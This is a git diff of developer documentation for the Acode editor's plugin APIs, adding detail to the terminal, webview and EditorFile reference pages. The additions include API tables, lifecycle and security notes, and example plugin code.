+| `isSupported` | `isSupported() => Promise<boolean>` | `true` for `arm64-v8a`, `armeabi-v7a`, `x86_64` |
+| `isAxsRunning` | `isAxsRunning() => Promise<boolean>` | Checks the pid file and `kill -0` |
+| `install` | `install(logger?, err_logger?) => Promise<boolean>` | Runs the download/extract/configure pipeline; `false` on failure |
+| `startAxs` | `startAxs(installing?, logger?, err_logger?, failsafe?) => Promise<boolean \| void>` | |
+| `stopAxs` | `stopAxs() => Promise<void>` | `kill -KILL` on the pid file |
+| `backup` | `backup() => Promise<string>` | Resolves the URI of `aterm_backup.tar` |
+| `restore` | `restore() => Promise<string>` | Resolves `"ok"` |
+| `uninstall` | `uninstall() => Promise<string>` | Resolves `"ok"`. Does **not** clean `$PREFIX` |
+| `migrateLegacyHome` | `migrateLegacyHome() => Promise<void>` | One-shot migration of old `alpine/home` + `alpine/root` into `public/MIGRATE` |
+| `formatError` | `formatError(error) => string` | Normalises cordova/Error/string payloads for display |
 
-Returns a `Promise<boolean>` that resolves to `true` when the Alpine terminal environment has already been downloaded and extracted.
+`lastInstallError` holds the most recent install failure message.
 
 ```js
 if (globalThis.Terminal) {
@@ -153,23 +559,161 @@ if (globalThis.Terminal) {
 
 This is useful when a plugin needs to decide whether it can use terminal-backed features before opening a server terminal. For normal terminal creation, prefer `terminal.create()` or `terminal.createServer()`, because they already run the install flow when needed.
 
+::: danger Do not call `install()`, `uninstall()` or `restore()` from a plugin
+These mutate the user's sandbox, wipe their files, and `install()` is called automatically by `createServer()`. Use them only in a dedicated settings screen, and never on plugin load.
+:::
+
 ## Background Execution (No Terminal)
 
 Use the globally available `Executor` to run shell commands without opening a visual terminal session - one-off commands, long-running processes with streaming output, and background-mode execution.
 
 See [Executor](./executor.md).
 
+## Gotchas <Badge type="tip" text="new" />
+
+- **`create()` defaults to server mode.** Forgetting `serverMode: false` triggers the whole Alpine install/AXS startup flow. Use `createLocal()` for output panes.
+- **`theme` must be an object**, not a name string. See [the note above](#create).
+- **`write()` goes into the PTY in server mode.** Anything you write is *input*. Include `\r` to submit, or you are just typing into the prompt.
+- **`write()` is filtered; `component.write()` is not.** The security filter is only on the module wrapper.
+- **`terminal.close(id)` does not close the tab.** Follow it with `file.remove(true, { ignorePinned: true })`.
+- **Do not overwrite `component.onProcessExit` / `onDisconnect` / `onError`.** You will break Acode's session teardown. Chain instead.
+- **`getAll()` returns the live internal `Map`.** Read-only by convention.
+- **`get(unknownId)` is `null`, and `write`/`clear`/`close` silently no-op** rather than throwing.
+- **All theme and touch-selection registrations are global and unscoped except by `_pluginId`.** Nothing is cleaned up when your plugin unmounts.
+- **Closing the last terminal calls `Executor.stopService()`**, which unbinds and stops `TerminalService`.
+- **Font, cursor, scrollback and theme defaults come from `settings.terminalSettings`**, not from your options, unless you pass them explicitly. `updateFontSize()` also *persists* to app settings.
+- **Touch selection and touch scrolling only initialise on mobile** (`window.cordova` present), after the first animation frame. Never assume `component.touchSelection` exists.
+- **Server terminals are recoverable across app restarts.** A plugin-created server terminal can reappear after a reload. Untrack your ids accordingly.
+
 ## Example: Themed Output Terminal
 
 ```js
 const terminal = acode.require('terminal');
+const PLUGIN_ID = 'com.example.plugin';
 
 // Ensure your theme exists (or use a built-in one)
-terminal.themes.register('cyberpunk', { /* colors */ }, 'my-plugin');
+terminal.themes.register(
+  'cyberpunkCustom',
+  { /* all 18 required colour keys */ },
+  PLUGIN_ID,
+);
 
 // Create a local output terminal and log
-const out = await terminal.createLocal({ name: 'Plugin Output', theme: 'cyberpunk' });
-// Or
-const out = await terminal.create({ name: 'Plugin Output', serverMode: false, theme: 'cyberpunk' });
+const out = await terminal.createLocal({
+  name: 'Plugin Output',
+  theme: terminal.themes.get('cyberpunkCustom'),
+});
 terminal.write(out.id, '\u001b[36mPlugin initialized\u001b[0m\r\n');
 ```
+
+## Complete plugin example <Badge type="tip" text="new" />
+
+A runnable plugin that creates a local output terminal, sends a command to a server terminal, streams the result back, and cleans up on unmount.
+
+```js
+// main.js
+if (window.acode) {
+  const PLUGIN_ID = 'com.example.terminal-demo';
+  const terminal = acode.require('terminal');
+  const THEME_NAME = 'demoOutput';
+
+  const THEME = {
+    background: '#1a1a1a',
+    foreground: '#f8f8f2',
+    cursor: '#ff5555',
+    cursorAccent: '#1a1a1a',
+    selectionBackground: '#ffffff40',
+    black: '#000000',
+    red: '#ff5555',
+    green: '#50fa7b',
+    yellow: '#f1fa8c',
+    blue: '#bd93f9',
+    magenta: '#ff79c6',
+    cyan: '#8be9fd',
+    white: '#f8f8f2',
+    brightBlack: '#44475a',
+    brightRed: '#ff6e6e',
+    brightGreen: '#69ff94',
+    brightYellow: '#ffffa5',
+    brightBlue: '#d6acff',
+    brightMagenta: '#ff92df',
+    brightCyan: '#a4ffff',
+    brightWhite: '#ffffff',
+  };
+
+  // Theme must be registered BEFORE create*, because the options object is
+  // resolved once at construction time.
+  terminal.themes.register(THEME_NAME, THEME, PLUGIN_ID);
+
+  let outputTerminal = null;
+  let serverTerminal = null;
+
+  const write = (text, ansi = '') => {
+    if (!outputTerminal) return;
+    terminal.write(outputTerminal.id, `${ansi}${text}\u001b[0m\r\n`);
+  };
+
+  async function run() {
+    // 1. A local pane to render our own log lines into.
+    outputTerminal = await terminal.createLocal({
+      name: 'Demo Output',
+      theme: terminal.themes.get(THEME_NAME),
+    });
+    write('Local output terminal ready.', '\u001b[32m');
+
+    // 2. A server terminal: a real Alpine shell behind a PTY.
+    serverTerminal = await terminal.createServer({
+      name: 'Demo Shell',
+      theme: terminal.themes.get(THEME_NAME),
+    });
+    write(`Server terminal id: ${serverTerminal.id}`, '\u001b[36m');
+
+    // 3. Subscribe to raw xterm events. This is EventEmitter-style and
+    //    disposable, and does not clobber Acode's own callbacks.
+    const subscription = serverTerminal.component.terminal.onData((data) => {
+      if (data === '\r') write('[shell] user pressed Enter');
+    });
+
+    // 4. Chain Acode's exit hook instead of replacing it.
+    const previousExit = serverTerminal.component.onProcessExit;
+    serverTerminal.component.onProcessExit = function (data) {
+      previousExit.call(this, data);
+      write(`Shell exited: ${JSON.stringify(data)}`, '\u001b[31m');
+      subscription.dispose();
+    };
+
+    // 5. Execute a command in the shell. \r submits it.
+    terminal.write(serverTerminal.id, 'echo hello from a plugin\r');
+    write('Command sent.', '\u001b[32m');
+  }
+
+  run().catch((error) => {
+    write(`Failed: ${error?.message || error}`, '\u001b[31m');
+  });
+
+  // Touch selection: a "More" entry scoped to this plugin, removed on unmount.
+  const moreOptionId = terminal.moreOptions.add({
+    id: `${PLUGIN_ID}.report`,
+    label: 'Report this terminal id',
+    action: (ctx) => {
+      console.log('Demo terminal:', serverTerminal?.id, 'selection:', ctx.selection);
+    },
+  });
+
+  acode.setPluginUnmount(PLUGIN_ID, () => {
+    terminal.moreOptions.remove(moreOptionId);
+    terminal.themes.unregister(THEME_NAME, PLUGIN_ID);
+
+    for (const instance of [serverTerminal, outputTerminal]) {
+      if (!instance) continue;
+      // close() disposes the session; file.remove() actually closes the tab.
+      terminal.close(instance.id);
+      instance.file.remove(true, { ignorePinned: true });
+    }
+  });
+}
+```
+
+::: tip Use `Executor` instead when you do not need a tab
+`terminal.write()` is filtered and drives a visible PTY. For a one-off command or a background process, [Executor](./executor.md) has no filter and no UI cost.
+:::
\ No newline at end of file
diff --git a/docs/advanced-apis/webview.md b/docs/advanced-apis/webview.md
index feba94c..08167a4 100644
--- a/docs/advanced-apis/webview.md
+++ b/docs/advanced-apis/webview.md
@@ -2,6 +2,8 @@
 
 The `webview` module exposes Acode's native WebView API. Require it with `acode.require('webview')` to display web content in a fullscreen view or run a headless (hidden) WebView in the background, and communicate with the loaded page over a two-way messaging bridge.
 
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/lib/webview.js` (the module), `src/plugins/webview/www/webview.js` (the Cordova bridge) and `src/plugins/webview/src/android/com/foxdebug/webview/{WebViewPlugin,WebViewInstance,WebViewActivity}.java` (the native side). Registered in `src/lib/acode.js:440` as `this.define("webview", webview)`.
+
 ## Import
 
 ```js
@@ -10,30 +12,39 @@ const webview = acode.require('webview');
 
 ## API Overview
 
-The module exposes a single method:
+The module is a plain object with exactly **one** member:
+
+- `create(options)`: Creates a new WebView instance. Returns `Promise<WebView>`.
 
-- `create(options)`: Creates a new WebView instance. Resolves to a WebView instance object.
+There are no module-level singletons, no `close()`, no `get()` and no event emitter on the module itself. All state lives on the returned instance.
 
-Each instance exposes these methods:
+Each instance exposes these methods (all of them `async` except `onMessage`, `offMessage`, `on` and `off`):
 
-- `loadURL(url)`: Loads a URL. Only `http://` and `https://` URLs are allowed; input without a scheme (e.g. `example.com`) is loaded over `https`.
-- `loadHTML(html)`: Loads an HTML string directly.
-- `evaluate(js)`: Evaluates JavaScript in the page and resolves with the result.
-- `postMessage(message)`: Sends a message to the page. Non-string values are JSON-stringified.
-- `onMessage(callback)`: Registers a callback for messages sent from the page.
-- `offMessage(callback)`: Removes a previously registered message callback.
-- `on(event, callback)`: Registers a listener for lifecycle events (see Events).
-- `off(event, callback)`: Removes a previously registered event listener.
-- `show()`: Shows a fullscreen WebView (or brings it back to the front after `hide()`).
-- `hide()`: Moves a fullscreen WebView to the background, keeping its page state intact.
-- `reload()`: Reloads the current page.
-- `destroy()`: Destroys the instance and releases its resources. **You must call this when the WebView is no longer needed.**
+| Member | Signature | Returns |
+| --- | --- | --- |
+| `id` | `string` | Native instance id, `wv_` + the first 12 hex characters of a UUID (`wv_1a2b3c4d5e6f`). |
+| `options` | `object` | The options object you passed to `create()`, verbatim. |
+| `loadURL(url)` | `(url: string) => Promise<void>` | — |
+| `loadHTML(html)` | `(html: string) => Promise<void>` | — |
+| `evaluate(js)` | `(js: string) => Promise<unknown>` | The value of the expression, JSON-decoded. |
+| `postMessage(message)` | `(message: unknown) => Promise<void>` | — |
+| `onMessage(callback)` | `(callback: (message: unknown) => void) => void` | — |
+| `offMessage(callback)` | `(callback: (message: unknown) => void) => void` | — |
+| `on(event, callback)` | `(event: string, callback: (event: string, data: object \| undefined) => void) => void` | — |
+| `off(event, callback)` | `(event: string, callback: Function) => void` | — |
+| `show()` | `() => Promise<void>` | — |
+| `hide()` | `() => Promise<void>` | — |
+| `reload()` | `() => Promise<void>` | — |
+| `destroy()` | `() => Promise<void>` | — |
 
-> [!Warning]
-> Always call `destroy()` once the WebView is no longer required. Every instance holds a native WebView, so leaving instances alive leaks memory and keeps pages (and their scripts/timers/network activity) running in the background.
+::: danger Always call `destroy()` once the WebView is no longer required
+Every instance holds a native WebView, so leaving instances alive leaks memory and keeps pages (and their scripts/timers/network activity) running in the background. Instances are **not** tied to your plugin's lifecycle — Acode only force-destroys them when the whole Cordova plugin is torn down (`WebViewPlugin.onDestroy()`), which is process teardown, not plugin unload. Destroy them in `acode.setPluginUnmount(id, ...)`.
+
+Calling `destroy()` **twice** throws `WebView has been destroyed` (there is no idempotence guard on the JS side).
+:::
 
 > [!Note]
-> After an instance is destroyed (via `destroy()` or by the user closing a fullscreen WebView), calling any method on it throws `WebView has been destroyed`.
+> After an instance is destroyed — by `destroy()` or by the user closing a fullscreen WebView — calling `loadURL`, `loadHTML`, `evaluate`, `postMessage`, `show`, `hide`, `reload`, `destroy`, `onMessage` or `on` throws `WebView has been destroyed`. `offMessage()` and `off()` are the exceptions: they do not check the destroyed flag and simply filter their (already emptied) lists.
 
 ## Create
 
@@ -56,22 +67,25 @@ await deferred.loadURL('https://example.com');
 await deferred.show();
 ```
 
+`create()` is synchronous until it reaches the native bridge, so it **throws synchronously** (not a rejected promise) on a bad mode:
+
+```
+Unsupported WebView mode: "<mode>". Use "fullscreen" or "hidden".
+```
+
 ### WebViewOptions
 
-Options accepted by `create()`:
+Only these five options are read. Anything else you pass is ignored by the native side (it is still readable on `instance.options`):
 
-- `mode`: `'fullscreen'` or `'hidden'` (default `'hidden'`). Fullscreen opens the WebView in its own activity; hidden creates a headless WebView that is never displayed.
-- `title`: Title shown in the fullscreen activity.
-- `allowNavigation`: Boolean, whether the page is allowed to navigate (default `true`). When `false`, all in-page navigation is blocked.
-- `allowDownloads`: Boolean, enables downloads (default `false`). Downloads are confirmed with a dialog and saved via the system DownloadManager into the public Downloads directory.
-- `visible`: Boolean, whether a fullscreen WebView is shown immediately (default `true`). When `false`, the launch is deferred until `show()` is called.
+- `mode`: `'fullscreen'` or `'hidden'` (default `'hidden'`). Fullscreen hosts the WebView in its own Android activity; hidden creates a headless WebView that is created immediately and never displayed.
+- `title`: Set as the hosting activity's title. Only applied when non-empty.
+- `allowNavigation`: Boolean, default `true`. When `false`, every **page-initiated** navigation is blocked. It does **not** affect `loadURL()` / `loadHTML()`, which call `WebView.loadUrl()` / `loadDataWithBaseURL()` directly and therefore bypass `shouldOverrideUrlLoading()` entirely.
+- `allowDownloads`: Boolean, default `false`. When `true`, a `DownloadListener` is installed. Each download shows a confirm dialog and is then saved by the system `DownloadManager` into the public Downloads directory, with the WebView's cookies forwarded. Non-`http(s)` download URLs are refused with a toast.
+- `visible`: Boolean, default `true`. Only meaningful for `mode: 'fullscreen'`: when `false`, the hosting activity launch is deferred until you call `show()`.
 
 ### Return Value
 
-`create()` resolves to an instance object with:
-
-- `id`: Unique id (e.g. `wv_1a2b3c4d5e6f`).
-- Plus the instance methods listed in API Overview.
+`create()` resolves to a `WebView` instance whose only own data properties are `id`, `options`, `_messageCallbacks`, `_eventCallbacks`, `_destroyed` and `_destroyPromise`. Treat everything except `id` as internal.
 
 ## Manage
 
@@ -88,6 +102,11 @@ await view.reload();
 await view.destroy();
 ```
 
+`evaluate()` results go through `JSONTokener`, so a string expression comes back as a JS string (quotes stripped, escapes intact) and a missing value comes back as `null`.
+
+> [!Note]
+> `show()` on a `mode: 'hidden'` instance **rejects** with `Hidden WebViews cannot be shown; use mode "fullscreen" to display content`. `hide()` on a hidden instance resolves as a no-op, because it is already hidden.
+
 ## Messaging
 
 The plugin and the page can exchange messages over a two-way bridge. A `window.webview` object is injected into every loaded page:
@@ -108,12 +127,18 @@ view.onMessage((msg) => {
 await view.postMessage({ fromPlugin: true });
 ```
 
-- Messages can be strings or any JSON-serializable value. JSON payloads are parsed automatically on both sides; anything else arrives as a raw string.
-- The bridge is re-injected after every navigation, so `window.webview` is always available to the current page.
-- Use `offMessage(callback)` on either side to unsubscribe.
+- Messages can be strings or any JSON-serializable value. `postMessage()` on the plugin side stringifies non-strings before crossing the bridge; on the page side `postMessage()` stringifies and then calls the native interface with `String(data)`. The receiving end tries `JSON.parse` first and falls back to the raw string, so a plain string arrives as a string **unless it happens to look like JSON**.
+- The bridge is injected twice per navigation — best-effort on `onPageStarted` (before page scripts in most cases) and guaranteed on `onPageFinished`. Injection is guarded by `window.webview.__acodeBridge`, so callbacks registered between the two injections survive.
+- The page-side object has exactly `onMessage(cb)`, `offMessage(cb)`, `postMessage(msg)` (plus the internal `__acodeBridge` flag and `_dispatch(msg)` helper).
+- Use `offMessage(callback)` on either side to unsubscribe. On the plugin side it filters by reference identity.
+- `onMessage(cb)` and `on(event, cb)` silently ignore a non-function argument.
+
+::: warning A numeric-looking string arrives as a number
+Because both ends try `JSON.parse` first, `view.postMessage('123')` reaches the page as the **number** `123`, and a page calling `window.webview.postMessage('true')` reaches your plugin as the **boolean** `true`. Wrap non-JSON payloads in an object (`{ type: 'text', value: '123' }`) when the type matters.
+:::
 
 > [!Note]
-> Fullscreen instances create the native WebView lazily, so `postMessage()`, `evaluate()` and `reload()` reject with `WebView is not ready` until a page exists. `loadURL()` and `loadHTML()` called early are queued and applied once the WebView is created.
+> Fullscreen instances create the native WebView lazily, inside the hosting activity. Until it exists, `postMessage()`, `evaluate()` and `reload()` reject with `WebView is not ready`, while `loadURL()` and `loadHTML()` are queued in `pendingUrl` / `pendingHtml` and applied the moment the WebView is created. Hidden instances create their WebView immediately, so they never hit this.
 
 ## Events
 
@@ -133,19 +158,159 @@ view.on('closed', () => {
 });
 ```
 
-- `pageFinished`: A page finished loading. Data: `{ url, title }`.
-- `titleChanged`: The page title changed. Data: `{ title }`.
-- `closed`: A fullscreen WebView was closed by the user (back button/task removal). The instance is marked destroyed and further calls on it fail fast.
+| Event | `data` | Raised when |
+| --- | --- | --- |
+| `pageFinished` | `{ url, title }` (empty strings when the native getters return `null`) | The page finished loading. |
+| `titleChanged` | `{ title }` | `WebChromeClient.onReceivedTitle` fired. |
+| `closed` | `undefined` | The hosting activity was destroyed — the user pressed back with no history left, or removed the task. |
 
-Use `off(event, callback)` to remove a listener.
+- Only these three event names are ever emitted. `on()` accepts any string but nothing else will fire.
+- On `closed`, the instance is marked destroyed and dropped from the JS instance map, and **all** message and event callbacks are cleared.
+- `WebViewActivity.onDestroy()` fires `closed` **after** it has already destroyed the instance natively — so by the time your callback runs, the WebView is gone.
+- Use `off(event, callback)` to remove a listener (matched on both event name and callback identity).
 
 ## Behavior & Lifecycle
 
 - Modes: `fullscreen` hosts the WebView in its own activity; `hidden` is headless and never displayed, useful for background automation or scraping.
-- Back button: In fullscreen mode it navigates back through page history first; when nothing is left, the WebView closes and the `closed` event fires.
-- Hide/Show: `hide()` backgrounds the fullscreen activity without destroying it, so `show()` restores it with the page state intact.
-- Cleanup: Instances are not tied to your plugin's lifecycle. Destroy every instance you create — ideally in your plugin's `destroy()` function — so hidden WebViews don't outlive the plugin.
-- Security: Hosted content is isolated. File and content scheme access is disabled, only `http(s)` URLs can load, and non-http(s) navigation (`file:`, `intent:`, `javascript:`, `tel:`, ...) is always blocked. When `allowNavigation` is `false`, all navigation is blocked.
+- Back button: in fullscreen mode `WebViewActivity.onBackPressed()` calls `webView.goBack()` while there is history; when there is none, the activity finishes, which destroys the instance and fires `closed`.
+- Hide/Show: `hide()` calls `moveTaskToBack(true)` on the hosting activity, so nothing is destroyed and `show()` re-launches it with `FLAG_ACTIVITY_REORDER_TO_FRONT`. `show()` is therefore also the way to bring an instance that was backgrounded by the user back to the front.
+- Show on an already-visible fullscreen instance is harmless: it re-launches the same activity with `REORDER_TO_FRONT` rather than creating a second WebView, and `createWebView()` is idempotent.
+- Activity recreation (rotation, locale change) reuses the existing native WebView rather than leaking a new one.
+- Cleanup: instances are not tied to your plugin's lifecycle. Destroy every instance you create — ideally in `acode.setPluginUnmount()` — so hidden WebViews don't outlive the plugin.
+
+### Relationship with the Action Stack <Badge type="tip" text="new" />
+
+A fullscreen WebView lives in a **separate Android activity**, so it does not participate in Acode's JavaScript action stack at all. `acode.require("actionStack")` entries are untouched by showing a WebView, and the Android back button inside the WebView activity is handled by `WebViewActivity.onBackPressed()`, never by `actionStack.pop()`. `hide()` moving the task to the back is likewise invisible to the action stack.
+
+::: tip Pair them yourself when you need back navigation
+Push your own action-stack entry so that, after `hide()`, Acode's back button returns to your page instead of exiting the app:
+
+```js
+const actionStack = acode.require('actionStack');
+
+actionStack.push({
+  id: 'my-plugin-browser',
+  action() {
+    view.hide();          // task goes to the back, page state preserved
+  },
+});
+```
+
+The WebView is not registered for you, so `actionStack.remove('my-plugin-browser')` is also yours to do when you `destroy()` it.
+:::
+
+### Relationship with the browser plugin
+
+`webview` has nothing to do with `cordova-plugin-browser` or the Custom Tabs plugin. Those are separate Cordova plugins that Acode uses internally (`src/lib/customTab.ts`, `src/plugins/browser/**`, `src/plugins/custom-tabs/**`); none of them is registered through `Acode#define`, so `acode.require("browser")` and `acode.require("customTab")` are both `undefined`. If you need an in-app browser inside a plugin page, use `acode.require("webview")` with `mode: "fullscreen"`.
+
+### Security <Badge type="tip" text="new" />
+
+Everything below is enforced natively in `WebViewInstance.java`, not in JavaScript, so it applies no matter what the page does.
+
+| Control | Implementation |
+| --- | --- |
+| Only `http(s)` may load | `sanitizeUrl()` rejects any URL whose `scheme://` prefix is not `http` or `https` with `Blocked URL: only http:// and https:// URLs are allowed`. Input without a `scheme://` prefix is treated as a host and loaded as `https://<input>`. |
+| Only `http(s)` may navigate | `shouldOverrideUrlLoading()` blocks everything when `allowNavigation` is `false`, and otherwise blocks any target whose scheme is not `http`/`https` — so `file:`, `content:`, `intent:`, `javascript:`, `tel:` and scheme-less targets are refused. This hook only sees page-initiated navigations. |
+| No file or content access | `setAllowFileAccess(false)`, `setAllowContentAccess(false)`, `setAllowFileAccessFromFileURLs(false)`, `setAllowUniversalAccessFromFileURLs(false)`. |
+| JavaScript and DOM storage | `setJavaScriptEnabled(true)` and `setDomStorageEnabled(true)` — the page is fully scriptable by design, since `evaluate()` and the message bridge depend on it. |
+| Plugin-to-page messages are injection-safe | `postMessage()` wraps the payload in `JSONObject.quote()` before evaluating it, so a hostile string cannot break out of the JS string literal. |
+| Downloads | Opt-in via `allowDownloads`, http(s) only, user-confirmed per file. |
+
+::: warning `window.AcodeWebViewNative` is always present on the page
+The native JavaScript interface is added unconditionally (`addJavascriptInterface(new JsBridge(), "AcodeWebViewNative")`) and exposes a single `postMessage(String)`. `window.webview` is only a convenience wrapper around it, and any script in the page — including one you did not write — can call the raw interface. Treat everything you send through the bridge as visible to the page, and do not put secrets in it. The reverse direction is contained by the native side: the page cannot invoke plugin methods, only post a message.
+:::
+
+::: warning `loadHTML()` gives your page an opaque origin
+`loadHTML()` uses `loadDataWithBaseURL(null, html, "text/html", "UTF-8", null)`, so the document origin is `null`. Relative URLs resolve against nothing, `localStorage`/`indexedDB` are unavailable or partitioned per-load, and `fetch()` to a same-origin API will fail the same-origin check. If you need storage or a real origin, serve the page over `http(s)` and use `loadURL()`.
+:::
+
+## Example: two-way bridge
+
+```js
+const webview = acode.require('webview');
+
+const view = await webview.create({
+  mode: 'fullscreen',
+  title: 'My Plugin Console',
+  allowNavigation: false,
+});
+
+view.onMessage((msg) => {
+  if (!msg || typeof msg !== 'object') return;
+
+  switch (msg.type) {
+    case 'ready':
+      // The page booted and the bridge is installed.
+      view.postMessage({ type: 'config', theme: 'dark', features: ['logs'] });
+      break;
+
+    case 'log':
+      console.log('[page]', msg.level, msg.message);
+      break;
+
+    case 'run':
+      // Never trust the page: `code` arrives from remote content.
+      handleRemoteCode(String(msg.code ?? ''));
+      break;
+
+    default:
+      console.warn('unknown message', msg);
+  }
+});
+
+view.on('pageFinished', (_event, data) => {
+  console.log('loaded', data.url, data.title);
+});
+
+view.on('closed', () => {
+  console.log('closed by the user');
+});
+
+await view.loadHTML(`
+<!doctype html>
+<meta charset="utf-8">
+<button onclick="run()">Run</button>
+<script>
+  // Plugin → page
+  window.webview.onMessage(function (msg) {
+    if (msg && msg.type === 'config') {
+      document.documentElement.dataset.theme = msg.theme;
+      window.available = msg.features || [];
+    }
+  });
+
+  // Page → plugin
+  function send(type, payload) {
+    window.webview.postMessage(Object.assign({ type: type }, payload || {}));
+  }
+
+  function run() {
+    if (!window.available || window.available.indexOf('logs') === -1) return;
+    send('log', { level: 'info', message: 'button pressed' });
+    send('run', { code: 'console.log("hi")' });
+  }
+
+  window.addEventListener('DOMContentLoaded', function () {
+    send('ready');
+  });
+</script>
+`);
+
+async function handleRemoteCode(code) {
+  // Never eval() remote content. Open it as an unsaved tab instead.
+  const EditorFile = acode.require('EditorFile');
+  new EditorFile('from-webview.js', {
+    text: code,
+    isUnsaved: true,
+    render: true,
+  });
+}
+
+// Always clean up.
+acode.setPluginUnmount('com.example.plugin', async () => {
+  await view.destroy();
+});
+```
 
 ## Example: Headless Title Fetcher
 
diff --git a/docs/editor-components/editor-file.md b/docs/editor-components/editor-file.md
index d69eb9c..7f5c0e4 100644
--- a/docs/editor-components/editor-file.md
+++ b/docs/editor-components/editor-file.md
@@ -12,23 +12,34 @@ This API is defined in the [Acode source code (src/lib/editorFile.js)](https://g
 const EditorFile = acode.require('editorFile');
 ```
 
+`acode.require` lower-cases the module name, so `acode.require('EditorFile')` and `acode.require('editorFile')` return the same class.
+
+::: warning
+The manager is a global, not a module: `window.editorManager`. `acode.require('editorManager')` returns `undefined`. See [EditorManager](../global-apis/editor-manager.md).
+:::
+
 ## Constructor
 
 ```js
 new EditorFile(filename, options)
 ```
 
+Both arguments are optional. `new EditorFile()` creates the app's default empty tab.
+
 ::: info
-You can also use [`acode.newEditorFile(filename, options)`](../global-apis/acode.md#neweditorfilefilename-string-options-fileoptions-editorfile) as an alternative.
-Both methods are equivalent and accept & return the same parameters.
+You can also use [`acode.newEditorFile(filename, options)`](../global-apis/acode.md#neweditorfile-filename-string-options-fileoptions-void) as an alternative — but note that it **returns `undefined`**; it only constructs the file. Use `new EditorFile(...)` when you need the instance back.
 :::
 
 ### Parameters
 
 | Parameter | Type | Description | Default |
 |-----------|------|-------------|---------|
-| filename | `string` | Name of the file | - |
-| options | [`FileOptions`](#fileoptions) | File creation options | - |
+| filename | `string` | Name of the file | `"untitled.txt"` |
+| options | [`FileOptions`](#fileoptions) | File creation options | `undefined` |
+
+::: warning
+If a file with the same `id` (or `uri`) is already open, the constructor **does not create a second tab** — it activates the existing one and returns early. Look the file up first with `editorManager.getFile(uri, 'uri')` if that matters.
+:::
 
 ### FileOptions
 
@@ -36,28 +47,39 @@ Both methods are equivalent and accept & return the same parameters.
 |----------|------|-------------|---------|
 | isUnsaved | `boolean` | Whether file needs to be saved | `false` |
 | render | `boolean` | Make file active | `true` |
-| id | `string` | ID for the file | - |
+| id | `string` | ID for the file | `uri.hashCode()` or a fresh UUID |
 | uri | `string` | URI of the file | - |
-| text | `string` | Session text | - |
-| editable | `boolean` | Enable file editing | `true` |
+| text | `string` | Session text. Also marks the file as already loaded | - |
+| editable | `boolean` | Enable file editing | `!readOnly` |
+| readOnly | `boolean` | Open the file as read-only (inverse of `editable`) | `false` |
 | deletedFile | `boolean` | File does not exist at source | `false` |
 | SAFMode | `'single' \| 'tree'` | Storage access framework mode | - |
 | encoding | `string` | Text encoding | `appSettings.value.defaultFileEncoding` |
-| cursorPos | `object` | Cursor position | - |
-| scrollLeft | `number` | Scroll left position | - |
-| scrollTop | `number` | Scroll top position | - |
+| cursorPos | `{ ranges: [{ from, to }], mainIndex: number }` | Restored selection | - |
+| scrollLeft | `number` | Scroll left position | `0` |
+| scrollTop | `number` | Scroll top position | `0` |
 | folds | `Array<{ fromLine: number, fromCol: number, toLine: number, toCol: number }>` | Code folds | - |
-| type | `string` | Type of content (e.g., 'editor') | `'editor'` |
+| type | `string` | Type of content (e.g. `'editor'`, `'custom'`, `'terminal'`, `'image'`, `'video'`, `'audio'`) | `'editor'` |
 | tabIcon | `string` | Icon class for the file tab | `'file file_type_default'` |
-| content | string \|  [HTMLElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement) | Custom content element or HTML string. Strings are sanitized using DOMPurify | - |
-| stylesheets | `string\|string[]` | Custom stylesheets for tab. Can be URL, or CSS string | - |
-| highlightStyles | `boolean` | Adopt the static CodeMirror highlight stylesheet into this custom tab's shadow root. Use only when the tab will render `codeHighlight` HTML. Available from **versionCode `1008`** | `false` |
+| content | `string` \| `HTMLElement` | Custom content element or HTML string. For non-editor types (other than `terminal`) the content is mounted inside a Shadow DOM and strings are sanitized using DOMPurify | - |
+| stylesheets | `string` \| `string[]` | Custom stylesheets for tab. Entries starting with `http` or `/` become `<link>`, anything else becomes an inline `<style>` | - |
+| highlightStyles | `boolean` | Adopt the static CodeMirror highlight stylesheet into this custom tab's shadow root. Use only when the tab will render `codeHighlight` HTML. Added in **v1.13.2** | `false` |
 | hideQuickTools | `boolean` | Whether to hide quicktools for this tab | `false` |
 | pinned | `boolean` | Pin the tab to prevent accidental closing | `false` |
-| readOnly | `boolean` | Open the file as read-only | `false` |
-| paneId | `string` | Target editor pane id (multi-pane layout) | - |
-| pane | `object` | Target editor pane instance (multi-pane layout) | - |
+| paneId | `string` | Target editor pane id (multi-pane layout) | `null` |
+| pane | `object` | Target editor pane instance (multi-pane layout) — only its `.id` is read | `null` |
 | isPanePlaceholder | `boolean` | Temporary empty tab for an empty pane | `false` |
+| persistInSession | `boolean` | Restore the tab in a future app session | `true` |
+| docVersion | `number` | Current document version for dirty tracking | `0` |
+| savedVersion | `number` | Document version last saved or loaded from disk | `docVersion` |
+| cacheVersion | `number` | Document version last written to crash cache | `savedVersion` |
+| savedMtime | `number` | File mtime last saved or loaded from disk | `null` |
+| diskMtime | `number` | Latest known file mtime on disk | `options.savedMtime` |
+| hasDiskConflict | `boolean` | Whether editor and disk both changed | `false` |
+
+::: warning
+There is no `onsave` constructor option. Assign `file.onsave = fn` **after** construction — the `save` event and `canSave` check the instance property, not an option.
+:::
 
 ## Properties
 
@@ -65,14 +87,14 @@ Both methods are equivalent and accept & return the same parameters.
 
 | Property | Type | Description |
 |----------|------|-------------|
-| type | `string` | Type of content this file represents |
+| type | `string` | Type of content this file represents (`'editor'` unless overridden) |
 | tabIcon | `string` | Icon class for the file tab |
 | content | `HTMLElement` | Custom content element |
 | id | `string` | File unique ID |
 | filename | `string` | Name of the file |
-| location | `string` | Directory path of the file |
+| location | `string` | Directory path of the file (`null` in `SAFMode === 'single'`) |
 | uri | `string` | File location on the device |
-| eol | `'windows' \| 'unix'` | End of line character |
+| eol | `'windows' \| 'unix'` | End of line character, derived from the document |
 | editable | `boolean` | Whether file can be edited |
 | pinned | `boolean` | Whether the file is pinned |
 | isUnsaved | `boolean` | Whether file has unsaved changes |
@@ -83,29 +105,59 @@ Both methods are equivalent and accept & return the same parameters.
 | SAFMode | `'single' \| 'tree' \| null` | Storage access framework mode |
 | loaded | `boolean` | Whether file has completed loading text |
 | loading | `boolean` | Whether file is still loading text |
-| session | `Proxy<EditorState>` | Session state with Ace-compatible helper methods |
-| readOnly | `boolean` | Whether file is readonly |
-| markChanged | `boolean` | Whether to mark changes when session text changes |
+| deletedFile | `boolean` | Whether the file is missing at its source |
+| encoding | `string` | Text encoding used for reads and writes |
+| session | `Proxy<EditorState>` | Session state with Ace-compatible helper methods. `null` after close |
